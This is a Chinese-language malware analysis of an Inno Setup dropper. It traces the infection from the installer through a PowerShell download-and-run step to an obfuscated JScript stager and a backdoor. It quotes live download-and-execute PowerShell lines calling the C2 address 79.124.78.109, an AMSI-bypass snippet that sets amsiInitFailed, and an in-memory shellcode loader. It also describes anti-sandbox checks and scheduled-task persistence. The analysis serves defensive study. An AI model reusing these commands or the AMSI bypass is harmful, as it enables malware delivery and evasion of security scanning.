HASH
SHA256:acbf16b92087e3b7c77883cf48984d02d7c4855344543b3a770482300fc31e9a
MD5:ecbf4439b0b962df100667912ac22b20
SHA1:e6ae6683b1e4d5511520604bd4de6d5b407e3818

样本拿到是一个有正常数字签名的exe文件,丢沙箱里可以知道这是一个Inno Setup安装包类型的文件
找**InnoExtractor **工具可以实现解包操作

执行的powershell命令存在CompiledCode.bin中

后面直接分析js脚本(
Inno Setup分析
这个先通过沙箱分析可以大致知道其行为


先加载程序所需使用的dll,之后释放在内存中的文件,常规的操作,先使用VirtualQuery获取指定区域的信息,然后使用VirtualProtect修改一下内存区域保护属性


通过 GetUserDefaultLangID 获取当前用户使用的默认语言,如果属于硬编码的语言 ID 之一,则木马程序结束运行


之后使用QueryPerformanceCounter检测时间间隔,检测沙箱

使用GetFullPathNameW api获取到临时文件夹路径
使用createfile api在临时文件目录下创建一个is-XXXXX.tmp为名称的文件夹


ReadFile、SetFilePointer、GetFileSize三个函数,开始读取内存中的文件到指定内存区域,然后使用WirteFile api写入文件

使用CreateProcessW api创建一个新线程然后运行上面存到临时文件目录下的文件(这里每次都用不同的参数),

调用Deletedirectory删除释放的临时文件

判断是否使用LookupPrivilegeValueW获取到关机权限的LUID

临时文件分析


通过第一个样本在沙箱中的行为分析来看,这个样本应该实现了网络通信,从远程服务器下载js脚本

TEB加载程序所需dll,然后就是处理程序的对话框

调用user.dll中的DisableProcessWindowsGhosting禁用当前进程的窗口“幽灵”效果,然后使用SetWindowTextW设置窗口的标题,最后使用ShowWindow让程序的窗口最小化

通过分析发现33行的函数调用了powershell实现了下载js脚本的操作

第5行的函数获取当前操作系统的信息并判断,

这个函数主要有两个功能,获取该系统的SID以及使用QueryPerformanceCounter测量 时间间隔

AllocateAndInitializeSid初始化和分配一个SID,通过GetVersion获取当前操作系统版本,并判断当前系统信息是否大于5,Windows2000 version=5
加载advapi32.dll中的CheckTokenMembership api检测上面分配的访问令牌是否为特定SID

30-33行都在进行调用上面loader.exe中的dbkFCallWrapperAddr函数操作,而这个函数的实现写在了exe文件的bss段

第545行的函数通过GetWindowsDirectoryW函数获取C:\WINDOWS路径下的文件夹

通过一系列函数调用获取 Windows 系统及其子目录的路径, 获取 SystemDrive 等环境变量的值,确保程序能够找到必要的系统路径

在601行的函数实现了创建新进程然后运行powershell


传入C:\Windows\System32\WindowsPowerShell\v1.0\powershell运行powershell参数为C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -command IWR -UseBasicParsing -Uri '[http://79.124.78.109/wp-includes/neocolonialXAW.php'](http://79.124.78.109/wp-includes/neocolonialXAW.php') -OutFile ($env:temp+'\vqPM0l4stR.js'); wscript ($env:temp+'\vqPM0l4stR.js')

总结:临时文件通过访问调用了上面loader程序的导出函数,获取到执行powershell的参数 ,然后创建新线程执行powershell然后从远程服务器下载js脚本,然后自动运行js脚本
vqPM0l4stR.js
md5:f29e01731119d5681214e857bba79eeb
这个文件才是整个样本的核心文件,以上的分析只是针对Inno Setup安装包释放流程和文件的分析
//Scripting.FileSystemObject
var f1="Scr",f2="ing.Fi",f3="stemOb"
var fso = new ActiveXObject(f1+"ipt"+f2+"leSy"+f3+"ject")
// WScript.Shell
var w1="WSc",w2="riPt",w4="eLl"
var wsh=w1+w2+".sH"+w4
var bbj=new ActiveXObject(wsh)
// 通过 WMI 获取当前处理器的地址宽度,并根据宽度选择合适的系统文件夹
var fldr=GetObject("winmgmts:root\\cimv2:Win32_Processor='cpu0'").AddressWidth==64?"SysWOW64":"System32"
//powershell.exe
var rd=bbj.ExpandEnvironmentStrings("%SYSTEMROOT%")+"\\"+fldr+"\\WindowsPowerShell\\v1.0\\powershell.exe"
//// 构造一个脚本文件名称,取决于电脑的 GUID
var agn='r'+bbj.RegRead('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid')+'r.js'
if (WScript.ScriptName != agn) { // 如果脚本文件名不匹配,说明已经运行过,不再运行
var fs5="yFi"
try {
// 复制当前脚本到 %programdata% 目录下
fso["Cop"+fs5+"le"](WScript.ScriptFullName, bbj.ExpandEnvironmentStrings("%programdata%")+"\\"+agn)
} catch (e) {}
}
// 下载并运行木马
var mtx_name="7zSHNEK8VRT4" // 随机生成一个名称
var mtx_file = bbj.ExpandEnvironmentStrings("%t"+"emp%")+"\\"+mtx_name
var fs1="leteFi"
var fs2="leExis"
try {
fso["De"+fs1+"le"](mtx_file)
} catch (e) {}
//使用powershell.exe下载并运行木马
if (!fso["Fi"+fs2+"ts"](mtx_file))
{
bbj.Run(rd+" -command \"$l1 = '[http://79.124.78.109/wp-includes/phyllopodan7V7GD.php';](http://79.124.78.109/wp-includes/phyllopodan7V7GD.php';) $l2 = '[http://79.124.78.109/wp-includes/barasinghaby.ps1';](http://79.124.78.109/wp-includes/barasinghaby.ps1';) $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '" + mtx_name + "'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)\"", 0)
}
JS 脚本首先将自身复制到 ”%programdata%” 目录下,文件名格式为 ”r[machine_guid]r.js”
调用powershell从两个URL处下载代码并执行

$vl1 = ("guFf4v6alJqHMqE8PSiWf8iSpcpQIR0DpatQMqE8PSiWf8iSvTuIsfOIO1gCMqE8PSiWf8iSsLZpCAZYC0qiMqE8PSiWf8iSfE7H3sbUA6LDMqE8PSiWf8iSfUvP5CtaCuQj" -match "MqE8PSiWf8iS");
$v2=$c.GetFields("NonPublic,Static");Foreach($v3 in $v2) {if ($v3.Name -like "*am*ed") {$v3.SetValue($null, $vl1)}};
这个代码配合之前下载的JS脚本中的powershell代码,将 amsiInitFailed设为true
这个脚本同时还下载了一个.ps1文件,用于powershell执行

从hxxp://79.124.78.109/wp-includes/guestwiseYtHA.exe

VirtualAlloc 分配内存, 获取 CreateThread 函数的地址,创建新线程 ,使用WaitForSingleObject函数等待线程创建完成,
$x=$VA.Invoke(0,$sc.Length, 0x3000, 0x40)
$marshal::Copy($sc, 0, $x, $sc.Length);
将guestwiseYtHA.exe机械码存到申请的内存中,最后两行代码调用 CreateThread 来执行存储在 $x(即 $sc)中的代码
这段代码就是从远程URL下载一个可执行文件,并在内存中分配空间来执行下载的代码(这种可以实现不触及磁盘的情况下执行代码
guestwiseYtHA.exe


16行是解密并运行back door,前面就是处理GDI

处理资源,使用xor解密 back door ,

直接将这个back door提取解密,或者解密之后dump出来
back door


使用GetUserDefaultLangID获取当前用户使用的默认语言,如果属于硬编码的语言 ID 之一,则木马程序结束运行
17行的函数实现了反沙箱检测

EnumDisplayDevicesW枚举系统中的显示设备,,如果检测正常就跳转到,检测Hyper-V、Parallels Display Adapter、Red Hat QXL controller(这三个检测的是各个主流虚拟化环境),如果没有检测到虚拟化环境就跳转回到LABEL_8,然后检测C:\WINDOWS\System32\路径下是否存在VBoxService.exe、VBoxTray.exe

判断Desktop和Document上是否存在特定文件

判断C:\Users\user\AppData\Roaming\路径下有没有Jaxx\Local Storage\wallet.dat文件(检测比特币钱包),然后判断计算机用户名是否属于特定用户名,以及判断计算机名称是否等于特定名称

判断系统桌面上是否存在.doc、docx、xls、xlsx文件(检测office),判断该程序是否是使用powershell启动的
检测不过patch一下,跳转分析后面部分的函数
创建计划任务实现持久化

通过使用COM组件创建计划任务实现持久化,任务名称用firefox进行伪装,操作执行的是释放在%%ProgramData%路径下的86b7fed-65a6-42bd-b5f8-25e36ea1f5e7r.js脚本

并将这个目录放入Windows defende白名单
向c2发送init信息,

使用CryptGenRandom函数生成加密的安全随机数,然后通过40行的inter_connect函数实现远程连接 79.124.78.109主机,

从远程获取窃密程序然后通过powershell执行

# 首先,定义要设置的值
$vl1 = "guFf4v6alJqHMqE8PSiWf8iSpcpQIR0DpatQMqE8PSiWf8iSvTuIsfOIO1gCMqE8PSiWf8iSsLZpCAZYC0qiMqE8PSiWf8iSfE7H3sbUA6LDMqE8PSiWf8iSfUvP5CtaCuQj"
# 获取 AMSI 的类型
$c = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.FullName -like "*amsi*" }
# 获取非公共静态字段
$v2 = $c.GetFields("NonPublic,Static")
# 遍历所有字段并查找 amsiInitFailed
foreach ($v3 in $v2) {
if ($v3.Name -like "*amsiInitFailed*") {
# 设置值为 $vl1
$v3.SetValue($null, $vl1)
Write-Host "amsiInitFailed has been set to true."
}
}